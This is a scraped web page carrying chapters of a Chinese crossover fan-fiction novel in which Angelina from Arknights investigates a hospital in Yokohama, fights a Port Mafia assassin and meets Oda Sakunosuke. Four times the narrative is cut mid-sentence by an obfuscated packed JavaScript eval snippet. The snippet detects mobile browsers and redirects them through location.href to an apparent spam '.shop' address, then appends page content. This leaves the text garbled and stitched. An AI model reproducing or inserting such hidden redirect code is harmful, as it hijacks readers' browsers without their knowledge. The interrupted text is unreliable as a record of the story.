;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042447|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖的医疗事故。 ——如果不是院方出现问题,那就是病人。 回忆起先前翻看的病历,大量儿童病情恶化的时间是从…… “梦野……久作。” 安洁莉娜低声喃喃着。她站在病历资料上所写的病房前,却并没有见到一个小孩。病房里摆着四张空荡荡的病床,不仅没有病人,连床铺早就收拾过,可见这间病房有段时间没住过人了。 安洁莉娜快速扫视着室内,目光在病床和床头柜的间隙里凝固。 她走过去,从缝隙中捡起一个丑丑的玩偶。 门外传来探病家长的低语: “你家的孩子也是住的这间病房?” “哎,是啊,结果住进去第二天就突然说病情恶化了……” “我家的也是……发烧成那样,要我怎么活啊……” “听说不止一个孩子是这样。” “这间病房是不是有什么不详……?” “说不定呢。” 家长们苦闷的声音渐渐远去,又有护士推着药品小车经过。 “咦,这间病房终于清空了啊。” “昨天就清空了。” “真是太好了……我真不想面对那孩子,总觉得阴森森的。不仅是其他小孩,和我同一班的好几个人也生病了,听说这段时间一直在做噩梦……” “诶,原来你请假是这个原因啊。” “是啊,我怕得不行。说起来,那孩子……是不是有什么特别的能力啊?” “应该是吧,听说院长联系上了有门路的人,所以现在被转移到禁闭室去了。” “有门路的人……难不成是阴阳师?!” “阴阳师也太夸张了吧,说不定是什么官方机关?专门培养特殊技能人才之类的?” “完全是漫画一样的剧情呢……” “……” 安洁莉娜凝视着手中的玩偶,抿了抿唇。 真的很丑。仿佛在地上滚了好几圈,布料已经脏成了灰黄色;造型也十分古怪,眼睛大得惊人,却没有放瞳孔在里面,只能看见黑洞洞的眼眶;还有这快要咧到后脑勺的奇怪微笑和缠在脑袋上的绷带……说实话,看见的一瞬间,安洁莉娜就觉得毛毛的。 ……完全是恐怖片的标配。 她叹了口气,还是将丑丑的玩偶收进了包里放好。 和来时一样悄无声息,安洁莉娜没有惊动任何人地离开了。 禁闭室附近没有一个人。 仿佛真的隐匿着什么不详,整一层楼都没有人,连灯都只开了一盏,还时不时因为接触不良闪烁一下。 安洁莉娜:“……” 她深吸一口气,克制住掉头就走的冲动,朝着禁闭室走去。 门是锁着的,不过并不是电子锁。安洁莉娜为难了一会儿,最后还是将耳朵贴在锁孔上,手上泛起红光。机括在重力的作用下发出“咔哒”一声,在无声的黑暗中无比清晰。 门开了。 没有窗户,只有黑漆漆的一片。 不过安洁莉娜的视线并没有受到阻挠。 她精准地看见了禁闭室中央的束缚床,一个约莫五六岁的小孩子四肢紧缚地躺在上面,眼睛也被蒙上,不哭也不闹,仿佛一具无声息的人偶。 “是梦野……久作君吧。” 安洁莉娜轻声问道。 床上的人影动了动。 “姐姐……”小孩子稚嫩的声音上扬着,在此情此景下显得无比诡异,“我是久作!和我玩吧!和我玩吧!” 8. 没有如果 无人的楼层,漆黑的禁闭室,发出游玩邀请的童孩。 本该是令人毛骨悚然的场景,然而奇异地,原本盘桓在心头隐隐的恐惧一下子消散了。 “这是你的玩偶吧?”安洁莉娜将那丑丑的玩偶贴在小孩的脸颊边上,“是很重要的东西吧,这次一定要收好哦。” “……” 稚嫩的嬉笑声像是被按了暂停键一样停了下来。 随即是撕扯着喉咙的哭喊声:“不是!久作不是故意的!是大家坏掉了……不是我!不是久作……” 安洁莉娜无声地叹了口气。 她抬起手,轻轻摸了摸小孩的头,细软的头发沾着汗水,蒙眼的布条也是一片润湿。 “嗯,但这是很重要的东西吧?久作君把它藏得很好,没有让大人们发现,成功保护了自己,做得很好哦。”安洁莉娜温柔地说,“肚子饿了吗?要不要吃点东西?” 梦野久作没吭声。 安洁莉娜猜他从被关进来开始就食水未进,于是扶着他坐起来:“不过只有饭团。”绫美准备的饭团还好好地放在包里,不过已经冷了。安洁莉娜揣在怀里捂了一会儿,然后将米粒一小口一小口地喂给他。 还好水是热的。保温杯还是专门在中华街买的,其他地方可没那么容易找到。 小孩子饭量小,而且饿久了再吃冷饭对胃不好。因此只喂他吃了小半个,就把剩下的收起来了。 没想到吃着吃着他就开始掉眼泪,安洁莉娜连忙顺气以免呛着:“久作君知道怎么样才能让坏掉的大家好起来吗?” 梦野久作抽泣着:“不知道……我不知道……” 完全无法自我控制啊。 安洁莉娜抿了抿唇。她在罗德岛的医疗部兼职过一段时间,见过有些病人在矿石病急性发作时无法控制暴走的源石技艺,在无意间对自己和他人造成伤害。 这孩子更特别一些,大概是作用于大脑和神经的源石技艺……异能力。 然而对安洁莉娜来说完全是盲区。 如果是罗德岛的医疗部,一定会有办法的……这个念头只是一闪而逝。回想起之前听见的对话,安洁莉娜沉默片刻,从斜跨的小包中拿出纸笔。 她将记有联系方式的纸条藏在玩偶的衣服夹层里,然后把它放进梦野久作的外套中。 “久作君,之后会有大人来接你,说不定能帮上你的忙。”安洁莉娜叮嘱道,“但如果他们对你不好,就给我打电话。号码我藏在玩偶里面了,不要再弄丢或者弄坏了哦。” “你要走了吗?不要走……不要丢下久作一个人……” “我们之后一定会再见面的。”安洁莉娜说,“我会来找你的,我们约好了。” 她伸出手,和小孩露在外面的小指勾了勾。 “……真的吗?” “嗯,真的。无论久作君在哪里,我都能找得到。”安洁莉娜笑着,“拉钩上吊,一百年不许变,说谎的人吞千根针。” …… 再一次站在午后眩目的日光下,竟然有种恍若隔世的错觉。 不,说不定不是错觉呢。 “你知道医疗部最不想见到的患者是什么样的吗?”熟练地将监测环取下记录数据,Medic小姐眨眨眼,闲聊似的问,“猜猜看?” “嗯……不听医嘱的?”安洁莉娜乖乖地坐在病床上,想起前世经常在新闻见到的医闹事件,猜测道,“恩将仇报伤害医生的?” “不是哦。”Medic小姐将监测环重新戴在她的脖子上扣好,“虽然那样的病人也很讨厌就是啦,但有嘉维尔小姐在,再不听话的病人都会老老实实的。” 说、说得也是呢……安洁莉娜想起嘉维尔把治疗法杖当武器一样挥舞的模样,不由得汗颜道:“猜不到呢,果然我还需要学习的地方还有很多啊。” Medic小姐笑了笑。 “是像安洁莉娜和小铃兰一样的小孩子哦。”她吐出一个意料之外的答案。 “诶?” “安洁莉娜的病情控制得很好哦,无论是源石融合率还是结晶密度都没有明显上升,要继续保持哦。”Medic小姐从口袋中摸出一颗糖放在她手心。 “谢谢……”安洁莉娜眨了眨眼,“但为什么是小孩子?” “因为是小孩子才会更觉得无力啊。” Medic小姐的表情很平静,明明没有叹气,也没有说丧气话,安洁莉娜却能感觉到她的难过。“明明应该是在学校里上学、过着普通的生活、未来有无限可能的年纪……却得了那样痛苦的绝症。作为医者,却什么都做不了。”她笑了笑,眼睛里盛满温柔,“但是,幸好还有罗德岛在。” 矿石病(Oripathy),在游戏里只是一个设定,但在泰拉世界却是药石无医的绝症。 患者的血液中会出现源石结晶,随着病情加重体表和内脏也会长出黑色的矿石;不仅如此,患者死亡时尸体还会产生爆炸,爆出的源石粉尘一旦被吸入,就会造成新的感染。 感染者……就是如此可悲的存在。 罗德岛就是为了改变这个现状而存在的。 身为一家为感染者提供医疗服务的医药公司,它涉猎的业务范围却远不止如此。感染者、非感染者,所有希望改变感染者现状的有志之人聚集在这里,让它成为了无处安身之人的家。 “一定会有办法的。”安洁莉娜喃喃着,“博士、凯尔希医生和阿米娅,有他们在,矿石病总有一天会治好的。” Medic小姐也笑起来:“在罗德岛还能上学——作业写完了吗?” “……我已经开始自学大学的内容了!Medic小姐可不要小瞧我!” “好好,安洁莉娜真厉害。” “就算矿石病治不好,有一天会死掉,我也不害怕。” 安洁莉娜轻轻抚摸着大腿上的源石结晶。 “只要罗德岛还在、大家还在,我就不觉得孤独。” …… 后来,海嗣在伊比利亚的海岸登陆。 …… ………… “没事吧?” 安洁莉娜惊醒般抬头。 金发洋裙的小女孩抬头看她:“你流了好多汗,是生病了吗?” 安洁莉娜凝视着她精致稚气的脸,好半天才生涩地开口:“没事……病的话,已经治好了哦。” 小女孩不依不饶地问:“那为什么表情这么难过呢?” 安洁莉娜笑了笑,没有回答,转而问道:“怎么只有你一个人,你的爸爸妈妈呢?” “小爱丽丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042448|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——你去哪里了——我可爱的爱丽丝——” 远处传来中年男人的呼喊声,小女孩比了一个“嘘”的手势:“不要出声。” “诶?” 然而男人已经看到了这边,连忙满头大汗地跑过来,双手撑在膝盖上喘气,一副运动过度的虚弱模样。他哭诉道:“你去哪里了?消失不见的话,我会担心的小爱丽丝。” 不知道为什么,安洁莉娜下意识将小女孩护在身后。 “不好意思,请问你是……?” “小女给你添麻烦了。”医生打扮的男人说,“小爱丽丝,我把整个医院都翻遍了都没找到你……我们回去吧?” ……好可疑。 说是父女的话,长相也不相似,而且态度也很奇怪。最重要的是,她从这个看似无害的男人身上感觉到了不妙的气息。 “您是医生吧。”安洁莉娜警惕地说,“可以看看您的行医执照吗?” 前地下黑医·森鸥外:“……” 安洁莉娜带着小女孩退后一步,低头问:“小妹妹,你叫什么名字?” “爱丽丝。”她眨着眼,捂嘴偷笑起来,“林太郎被当成坏人了啊。” 森鸥外苦笑道:“都是小爱丽丝故意躲起来的原因……但你太可爱了所以原谅你了。” “因为想看林太郎被当成坏人拼命解释的样子。” 爱丽丝的手背在身后,蹦蹦跳跳地走到他身边,笑眯眯地朝安洁莉娜挥了挥手。 ……真的是父女? 闹了个乌龙,安洁莉娜虽然有些尴尬,但更多的还是松了口气。“抱歉,是我误会了。”她诚恳地道歉,然后半蹲下来,和爱丽丝保持平视,“这种事情不能随便开玩笑哦,出门不可以甩开大人一个人乱跑,被坏人抓走的话就再也见不到爸爸妈妈了。” 爱丽丝怔了怔,然后乖乖地:“对不起。” 森鸥外摆了摆手:“是我们添麻烦了才对。” 安洁莉娜点点头,礼貌地道:“那我先告辞了。” …… “真是个可爱的孩子。”森鸥外嘴角噙着笑意,“是吧,小爱丽丝?” 爱丽丝双手叉腰:“又在打坏主意了。” “小爱丽丝也很喜欢信使君吧?如果邀请她加入港口黑手党,会不会答应呢?” “如果说的是破破烂烂、什么都没有的公司的话,肯定不会答应的吧!” “说得好过分……”森鸥外叹气,一副为生活操劳的样子,“就是因为什么都没有,所以才需要新鲜血液的加入嘛。信使君可是难得的情报人才——组织可是很需要这样的角色。” “哼,林太郎肯定不止打这些主意吧。” 森鸥外微笑着。 “在这之前,我们先去见新成员吧。是个只有几岁的小孩子呢,说不定会和小爱丽丝很合得来呢。”他牵起爱丽丝的手,朝住院部的方向走去,“但是异能力目前还是不明,只能劳烦太宰君了。小爱丽丝会保护我的吧?” “谁要保护你啊,废物林太郎!” “小爱丽丝……”森鸥外幽怨地说,然后话锋一转,“对了,忘记问信使君身上那件洋服是在哪里买的了。小爱丽丝穿的话一定很合适,绝对很可爱!” “不要!” “诶——” 9. 证明 无成瘾性药物相关的非法活动,是一场由精神系异能力者暴动引发的医疗事故,院方为了掩盖事故秘密购置了一批镇静类药物,目前暂未发现该院与非法组织的联系。以下是精神系异能力者的资料:姓名:梦野久作;年龄:6…… 安洁莉娜记录的笔顿了顿,又继续写。 与该异能力者短暂接触,未受到攻击,具体异能力未知,发动方式未知,解除方式未知。据悉院方已联络【未知专业机构】将该异能力者带走(之后需要调查),综合判断任其带走是更好的处理方式,自此医院调查结束。 安洁莉娜呼出一口气。 “如果药物检查没有问题的话,把货物送到委托就结束了!”她将笔和本子收好,伸了个懒腰。此时已是将近饭点,太阳西斜,但委托要求将货物今天之内送达,只能之后再考虑晚饭了。 不过饭团还剩不少,足够今晚吃了,还好有绫美。 货物交接的地方被定在了一处小巷里。 摄像头大大咧咧地摆在显眼的地方,但镜头明显有破损,已经无法正常工作了。 和叙拉古一样,横滨有很多这样的小巷。 被不合理设计的建筑群夹在中间,明明不远处就是街道和人群,但巷子里仿佛自成另一个世界一样。阴暗、潮湿、危险,这座城市的暗处藏着众所周知的肮脏。 显眼的秘杖放在长匣中,贴身背在身后,随时能拿出。 安洁莉娜披着和夕阳同色的红色外套,无声息地来到交货地点。 货物藏在废弃的空调外机里。安洁莉娜用重力卸下螺丝,拿出箱子,里面是整齐码好的药盒。 包装很正规,药盒内部也有内置的说明书,没有拆封重新装塑的痕迹,如果地点不是在无人的小巷里,说这是医院开出的正规药品也是毫无问题的。安洁莉娜松了一口气,将药盒拍照,记下上面的药厂名字。 ……幸好不是包装盒塑封都没有的散装药片,不然这委托怎么都不敢送。虽然没有力量曝光不负责任的黑心医院,但检查药品这种力所能及的事情还是能做到的。 【检查结束,12点之前送达】 按键手机习惯之后打字飞快,安洁莉娜已经能很熟练地盲打了,两句话只需要几秒钟。 然而没来得及按下发送键。 “铮——!!” 秘杖第一时间将破空而来的白色物体打回,发出尖锐的碰撞声。那白色不明物被弹飞钉在了砖墙上,嵌进去大约两三公分。 不是子弹,也不是刀,或是别的什么武器。是一片扇叶,甚至并不锋利,看起来像是在哪里随手捡的。 安洁莉娜冰冷地盯着小巷中的暗处。 “你已经失手了,袭击者先生。”她将货物放进长匣中,秘杖泛起隐隐的红光,“请出来一叙吧,我需要知道是谁委托您来的。” 静默片刻后,巷中走出一个穿着朴素、叼着烟而未点燃的男人。像是静默的代名词,他的脸上没有任何表情,也没有泄露任何的气息,是一个比黑夜还要沉默的男人。 “你是什么时候发现我的?” “最开始。” “是吗。虽然是情报人员,却有成为杀手的敏锐天赋。”男人点了点头,这么说着,然后猝不及防地发起了攻击——安洁莉娜睁大眼睛,迅速地仰头下腰,一个后空翻躲开了随之而来的绳状物。 不是很特别的武器,只是一根电线而已。不知道从哪里扯下来的,白色的橡胶外壳已经开裂发黑,露出里面绞在一起的铜丝。 “全是随手捡的武器……?”安洁莉娜抿了抿唇。没有固定武器也就意味着没有固定套路,对手是非常擅长利用环境的类型,也是最难对付的那种。 几乎感觉不到恶意,只有纯粹的杀气。 这个人,一定是非常专业的杀手。 安洁莉娜脑中闪过无数念头,但对手却并不给她思考的间隙。电线没有命中,在空中迅速划了一道旋,又以极大的力道甩出。然而它的落点却并不是安洁莉娜,而是她手中的秘杖。 “虽然情报中并没有描述这柄武器的具体用途,但以防万一还是没收比较好。” 电线像蛇一样死死缠在秘杖顶端,另一头则握在男人的手中,似乎只要一用力就能实现缴械。毕竟众所周知,男性和女性的力量存在着天然的差异,况且对方还是个受过专业训练的杀手。 安洁莉娜紧握着杖身,和男人僵持着。 “你是杀手吧,是谁委托你来的?” 她眸光沉沉地盯着对方。安洁莉娜长了一副乖巧的相貌,平日里都保持着开朗和活力的笑脸与人交往,一副很好说话的模样。因此总是有人忘了,她是出身于叙拉古的信使,是狡黠又精明的沃尔珀。 此时她的嘴角抿起,用猎手一般的目光锁定着面前的敌人。 “如果是要比力气的话,我不会输给任何人。” “这么有自信的话,你是力量方面的异能力者吧。”男人这么说着,突然松开了拿着电线的手,“所以从一开始,就没有打算打算和异能力者拼这些。” 突然迸出一串火花,安洁莉娜只觉手中一阵刺痛。 电线通上了电流。 - 织田作之助走在路上,却并不是要下班,而是正准备上班。 虽然现在是黄昏,应该是结束一天工作之后、去居酒屋喝一杯的时间,但他显然并没有自由支配工作时间的权利。一旦上头有任务下派,就必须马上赶往现场。 他现在就职的地方是一家物流公司。虽然占有的市场份额并不多,甚至可以说少得可怜,但在里世界却十分有名,是在横滨的危险地带专门运送危险货物的邮政业者。横滨租界、海盗出没的海域、军部研究设施的特别警戒区域……在限定期限内、进入因为各种缘故普通物流公司无法进入的场所、将无法放在明面上运输的各类货物送到,就是开展着这样业务的物流公司。而他就是这家公司的一名普通员工,做着俗称“快递员”的工作。 而今天的工作内容,是将藏在空调外机里的货物送到医院。 然而,却并不顺利。 “别过来!这片区域有电流!” 从藏有货物的巷子里,传来这样的喊声。 织田作之助脚步一顿,谨慎地停在建筑物的拐角后面,手放在腰间的武器上,随时准备攻击或撤离。 “虽然只有一瞬,但承受了那样的电击后还能站着,你不是普通的情报人员。”一个男人说。 “我只是一名信使而已。”听起来像冰一样冷酷的声音属于一名少女,也是最开始提醒他的人,“你搞错了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042449|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多事情,但有一件事错得非常离谱——这不只是我的武器,是我的家人们留给我的遗物,也是我存在的证明!” 巷子里似乎发生了什么不得了的事情,从里面传出巨大的爆鸣声,织田作之助甚至闻到了一阵焦糊味,不知道究竟是什么烧起来了。 “我不允许有谁对它出手——你做好觉悟了吗?” 这下织田作之助可以确认了,燃烧的一定是这位少女的怒火。即使不用眼睛看,他也能从不断响起的碰撞声中想象出里面的斗争有多么激烈,虽然没有枪响,但这样的动静持续下去或许会引来市警,也不知道运送货物的委托是否还能完成。 不,货物是否还存在或许也是个值得思考的问题。 就在织田作之助思索的时候,里面的战况似乎发生了转折。 “这是……重力?你和中原中也是什么关系?”男人平静无波的声音终于出现了变化,体力的消耗使他喘着气,但话中的内容织田作之助并没有听懂,“等等,但是皮肤上并没有讨厌的感觉,虽然很难以置信……但你,不是异能力者。” “你认识中原中也?”少女充满怒气的嗓音突然一顿,“……你是港口黑手党的人。” 港口黑手党? 在听到这个名词时,织田作之助就知道不能继续再待下去了。港口黑手党是横滨的黑夜,是黑暗与暴力的代名词,如果招惹上他们,得到多么惨烈的下场都不足为奇。虽然不知道这名少女究竟和港口黑手党发生了什么样的纠纷,但这都不是一介快递员应该和能够涉足的事情。 况且打斗发出的声音已经引起了骚动,他已经看见了拿起电话报警的人。 于是织田作之助小心地挪动脚步,想要不惊动里面谈话的任何人离开。 “你对中原中也的去向很了解,你们是什么关系?” 巷子里的对话还在继续。织田作之助并不关注他们说话的内容,只踩着话音落下的点迈出脚步,保证发出的动静在最小范围内。 但他的计划还是出现了谬误。不,不是他出现了谬误。织田作之助能以上一份职业所锻炼出来的身手和经验发誓,他绝没有踩到什么易响的东西,甚至屏住了呼吸。如果要说还有什么能发出响动的话,那只有他的心脏了,只有这是绝对不能停止的东西。 接下来的五六秒内,会发生这样的事情: 少女的声音说:“……你要杀我的原因和中原中也有关系吗?” 那名港口黑手党的男人没有回答这个问题,而是突然暴起,像利箭一样冲过来,用路边随处可见的螺丝钉的尖端划开了他的喉咙。 视线中播放的影像到此结束。 然后,事实也像异能力所预测的那样发生了。 少女说:“……你要杀我的原因和中原中也有关系吗?” 但之后的事情就截然不同了。虽然来自港口黑手党的男人依旧发起了攻击,但织田作之助非常快速地躲避了,没有让螺丝钉伤到分毫。然而男人的主要目标并不是袭击,而是撤退。一击不中后,他迅速从织田作之助躲闪所让出的空位中逃走,很快不见了踪影。 同时响起的,还有市警来到的鸣笛声。 随后织田作之助转头看向追过来的少女,解释道:“不是我报的警。” “……啊,好的。” 10. 织田作之助 不知不觉放松了警惕,差点栽了个大跟头>A 怎么说呢,只有在这种时候才清晰地意识到,原来我又来到了一个新的世界啊。 故乡,什么时候变成这么遥远的词了呢? 【安洁莉娜手记】NO.4 横滨小巷多云 - “喂!里面的都是什么人?!” 市警的喊话由远及近,巷子里相遇的安洁莉娜和织田作之助对视一眼。 ——里面的打斗痕迹无法解释,不能被扣下。 ——藏起来的货物是管制药物,一旦被发现更难解释来源和去向。 尽管是第一次见面,两位“快递员”还是在短短的一瞬间理解了对方的想法,并迅速达成了无声的合作。安洁莉娜庆幸自己有随身带纸笔的习惯,撕下纸张唰唰写下“有电危险”几个大字,用重力将其吹出小巷。织田作之助则拔枪朝墙上射击,伪造出黑手党火拼的痕迹,这样市警搜查的时候便不会那么仔细。 果然,听见枪响,外面的脚步声都停住了。 安洁莉娜转头问:“你恐高吗?” 织田作之助老实回答:“不知道,但应该不。” 那就假设不恐高好了。安洁莉娜点了点头,一手抓住他的手臂,一手握住秘杖,重力法术的红光隐约亮起。她就这样脚下一蹬,像武打片一样飞檐走壁地在墙壁上踏了两下,就轻轻松松拔高了十多米的高度,翻过楼房,稳定着陆到附近的巷道中。 站稳之后,织田作之助感慨地说:“这真是便利的异能力。” 安洁莉娜无奈道:“是吧,特别是在逃跑这方面。” 说着她笑了起来。 织田作之助的表情虽然没有变化,但安洁莉娜能感觉到他周身气场的平和。 从他刚刚拔枪的果断姿态来看,这无疑也是一位生活在里世界的人。如今她已经对走到哪都能遇到非法组织这一点感到麻木了,因此十分自然地伸出手:“安洁莉娜,现在是一名信使。” 织田作之助说:“你的手流血了。” 安洁莉娜低头一看:“啊,真的。” 是电流造成的烧伤。半个手掌都滴着血,皮肤也有焦黑的痕迹,看起来就疼。但自从安洁莉娜奔赴和海嗣战斗的前线后,受伤就成了家常便饭,这点小伤不过是一个治疗法术的事情。 不过刚刚才展现出了重力“异能”,还是低调一点比较好。 于是她将长匣放在地上,从里面取出随身携带的药品。她利落地用清理创口、上药、再用绷带缠好。 看着她没有丝毫犹豫的动作,织田作之助把到嘴边的“这种程度的烧伤还是去医院处理比较好”给咽了回去。 或许是有别的打算吧。他想。 “不好意思,弄脏了你的衣服。” 之前拎手臂的时候把血蹭上去了。 织田作之助看了一眼,说:“没关系。” “那重新自我介绍一下,我叫安洁莉娜,是一名信使。” “织田作之助。目前从事的职业是快递员。” “那看来我们是同行呢!以后请多指教了。” 其实并不明白“信使”与“快递员”之间有什么直接联系的织田作之助:“原来如此,请多指教。” 两个人宛如职场上的前后辈一样相互致意。 安洁莉娜想:这个人看起来很不好惹的样子,但实际上相处起来却并不是这样呢。 织田作之助想:原来这就是高层最近一直在念叨的“信使”。听上司说,这位“信使”虽然只是最近突然开始活跃,就抢走了好几个非常重要的订单,连公司的绩效都下降了不少,对此高层非常恼火,却怎么都无法改变现状。 见到本人后,没想到“信使”只是个十几岁的小姑娘。现在的年轻人真的很厉害。 “织田先生,如您所见,我现在惹上了麻烦,正在被港口黑手党的杀手追杀。”年纪轻轻就让高层焦头烂额的信使小姐不仅一点不骄傲,还很谦逊地对他这个底层快递员用上敬语,“但我并不知道被追杀的原因,所以如果您能提供什么线索的话,我会非常感激的。” 在织田作之助看来,那个杀手根本不是眼前这位少女的对手。“我只是区区一介普通的快递员,应该帮不上什么忙。”他想了想,谨慎地说,“那个杀手是‘冷血’,原来已经加入港口黑手党了吗。” 安洁莉娜愣了一下,连忙翻出本子和笔记下:“冷血……?是代号吗?” “应该是吧,我和他没有正面打过交道。” “原来如此。”安洁莉娜并没有细究,“非常感谢您告知我这些信息。” 织田作之助刚想说什么,兜里的电话就响了起来。他说了声“失礼”,然后按下接听键。 上司的声音从听筒里传来:“织田,委托结束,不用过去了。” “发生了什么事吗?” “高层发布了针对‘信使’的悬赏,但刚刚收到消息,暗杀失败了,你现在过去也拿不到货。” “……”织田作之助说,“我知道了。” 电话挂断了。 他看着不远处礼貌等他接电话的安洁莉娜,走过去说:“暗杀你的杀手是公司的高层请来的。” 安洁莉娜露出呆滞的表情:“诶?” “你接到的委托是由公司转手给你的,他们把你取货的时间和地点告诉杀手,然后派我来接手货物,大概是这样。”织田作之助低着头看她。少女身高只有153cm,在一米八以上的成年男性面前显得过分幼小了。然而就是这样幼小的信使,用十分强悍的实力让出身港口黑手党的杀手铩羽而归。 织田作之助的心中再次涌起敬佩之情:“抱歉,我也是刚刚才知道。” “啊……”安洁莉娜显然还在消化刚刚听到的信息,下意识说,“不,您能告知我就已经是最大的帮助了。” “能帮上忙就好。” “谢谢您。” “……” “…………” “等等——”安洁莉娜猛地反应过来,扶着额头,“诶??杀手是你们派来的吗??” “应该是这样。” “为什么?我应该没有得罪——啊,同行竞争吗?” “应该是吧。” “……” 两人陷入短暂的沉默。 过了好一会儿,安洁莉娜轻轻地说:“是吗,原来是同行竞争……吗。”不,与其说是“竞争”,倒不如说是“倾轧”比较合适。 她低着头,睫羽轻微地颤抖。 仔细想想,如果不是她展现出的“异能力”让那位杀手惊异、从而被她认出所属组织,这件事从头到尾都不会和港口黑手党扯上关系。 织田作之助说:“这也是很常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042450|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的事情。” 安洁莉娜长叹一口气。 她低着头:“不,我没事。只是在我的……故乡,很少有同行互相攻击的情况。至少信使这一行是这样,才不小心放松了警惕。” 泰拉世界的远距离通讯和运输全部依靠信使,因此信使这个职业不仅很受尊敬,而且一向人手不足,恶性竞争并不常见;而且泰拉天灾肆虐,信使之间也经常互通信息,更新的地图也会毫不吝啬地交给彼此,总体来说是个很友好的团体。 因为生意被抢所以请杀手暗杀同行这种事情……听都没听过。 织田作之助说:“那应该是个很好的故乡吧。” 安洁莉娜怔了怔。 “为什么……要告诉我这些呢?”她困惑地问,“我们是敌人吧。” 如果说之前不动手是因为不知道,现在知道之后,为什么反而要把这么重要的情报说出来呢?不应该趁她毫无防备直接动手吗? “请杀手的不是我。”织田作之助依旧没什么表情地陈述事实,“而且你问了。” ……奇怪的人。 虽然这么想着,安洁莉娜却忍不住笑起来。 “嗯!是我搞错了,我们不是敌人。”她的手背在身后,双脚踮来踮去,让重心在脚尖和后跟来回摇摆,“是哦,我有个很好的故乡,无论哪个都是。谢谢你,织田先生。” 织田作之助自认没什么功劳:“不,我并没有帮上什么忙。” “帮大忙了!如果不是您把机密的任务内容告诉我,说不定我会在某一天不明不白地死掉。”安洁莉娜认真地说,“而且,织田先生没有伤害我,还安慰我。这份善意是十分珍贵的东西,我一定会好好铭记的!” 这次怔愣的人换成了织田作之助。 “善意……?”他很难得地发出了困惑的声音。 “是的,善意。”安洁莉娜说,“你夸奖我的故乡,我很高兴。” “我没有说什么了不起的话,只是叙述而已。” “就是因为是发自内心的叙述,所以才更让人高兴啊!” “是这样吗。” “嗯!是的!” 安洁莉娜重新打起了干劲。 “织田先生,虽然这单委托之间发生了很多事情,但信使的职责就是保证货物送到收件人的手中。”她说,“所以我会把货物按时送到医院的。如果上司问起你,你就说没有看见过我好了。” “没关系吗。” “没关系的。” “那就这样好了。”织田作之助点了点头。他一向是随遇而安的性子,既然更年少又能力更强的信使都这么说了,他也就不再发表拙见。 “对了,能告诉我您的联系方式吗?”安洁莉娜拿出本子和笔递过去,“今天的事情很感谢您,请务必给我一个回报的机会。” 织田作之助迟疑地接过纸笔。 安洁莉娜用一种亮晶晶的目光看着他。 最后,织田作之助还是写下了除了上司以外没有任何人会拨打的电话。 将纸笔还回去的时候,他说:“我没做什么值得感谢的事情。” 安洁莉娜笑眯眯地道:“这是被帮助人才能决定的事情哦!” 织田作之助不知道说什么,只能干巴巴地憋出一句:“是这样吗。” 回答他的是又一声清脆的肯定:“是哦!” 11. 孤独 “很高兴认识你,织田先生!拜拜!” 安洁莉娜笑脸灿烂地挥着手和新认识的同行道别,迈着轻快的步伐消失在对方的视线中。 接下来就把送货的工作完成就好了。 夜幕降临后,安洁莉娜不必再小心翼翼地躲藏,直接在大楼之间跳跃飞行。横滨的晚上没有到处亮起的招牌和闲逛的行人,尤其越靠近港口越是人少,不少委托都是在夜间完成的。 直线距离的空路比坐公交快多了。不过是半刻钟功夫,安洁莉娜便在住院部的天台降落。 很安静,不知道是不是心理作用,总觉得阴森森的。 没有多耽搁,将货物放到指定地点后,安洁莉娜假装不知道和她联系的人是物流公司,将委托完成的消息发送。因为不确定杀手是否会在附近蹲点,她还专门在交货地点等了好一会儿,然而无事发生。 本来还想旁敲侧击一些关于中也先生的事情,结果根本没人来…… 是失败一次之后就彻底放弃了吗?安洁莉娜叹气。 因为没有渠道弄到银行账户,她一直走的现金交易。好在钱款应该是院方直接放的,物流公司没有机会动,不然这次委托的尾款说不定也会被吞掉…… 生活不易。 不过好在,这次的委托虽有些波折但还算顺利地完成了。 临走时,安洁莉娜犹豫片刻,脚下一拐,还是朝着禁闭室方向走去。 依旧一个人都没有,灯彻底熄了,只有安全通道的指示牌亮着幽幽的绿光。 